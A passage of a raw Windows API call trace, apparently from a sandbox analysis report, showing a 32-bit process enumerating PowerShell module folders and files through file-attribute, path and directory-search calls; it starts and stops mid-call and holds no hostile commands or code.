(lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0131.027] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0131.027] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0131.027] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0131.027] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0131.027] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0131.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.027] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0131.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0131.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.028] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0131.028] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0131.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.028] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.147] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.147] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0131.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.147] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.148] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0131.148] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0131.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.149] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.150] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0131.150] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0131.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.150] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0131.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0131.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.175] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0131.175] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0131.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.175] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.176] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0131.176] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0131.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.176] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.176] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.176] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.176] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0131.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0131.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.177] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0131.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0131.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.177] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0131.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0131.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.178] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.178] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0131.178] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0131.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.178] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.178] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0131.178] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0131.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee090) returned 1 [0131.178] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x59ee354 | out: lpFileInformation=0x59ee354*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee08c) returned 1 [0131.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ee340) returned 1 [0131.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.179] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x59ee0f0 | out: lpFindFileData=0x59ee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f28ac0 [0131.179] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.179] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0131.179] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0131.179] FindNextFileW (in: hFindFile=0x4f28ac0, lpFindFileData=0x59ee0f8 | out: lpFindFileData=0x59ee0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0131.179] FindClose (in: hFindFile=0x4f28ac0 | out: hFindFile=0x4f28ac0) returned 1 [0131.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee0b0) returned 1 [0131.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ee310) returned 1 [0131.180] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0131.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0131.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, 